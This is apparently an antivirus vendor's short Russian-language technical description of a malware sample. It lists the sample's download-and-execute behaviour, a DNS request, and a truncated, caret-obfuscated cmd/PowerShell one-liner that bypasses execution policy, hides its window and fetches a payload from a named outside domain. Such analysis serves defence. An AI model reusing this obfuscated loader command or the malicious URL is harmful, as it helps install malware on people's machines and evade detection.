Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^Ow^eRS^h^ELL^.Ex^e^ -^Ex^ec^Uti^OnPol^IC^y BYpaSs -N^o^p^ROFIL^e -^wINDow^stYle^ H^id^dEn^ ^(N^Ew-ob^J^ecT^ ^SYsT^e^M.nE^t.wEbCL^i^e^n^T).DO^wnL^oADFI^L^e(^'http://www.zoned...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^Ow^eRS^h^ELL^.Ex^e^ -^Ex^ec^Uti^OnPol^IC^y BYpaSs -N^o^p^ROFIL^e -^wINDow^stYle^ H^id^dEn^ ^(N^Ew-ob^J^ecT^ ^SYsT^e^M.nE^t.wEbCL^i^e^n^T).DO^wnL^oADFI^L^e(^'http://www.zoned...' (со скрытым окном)
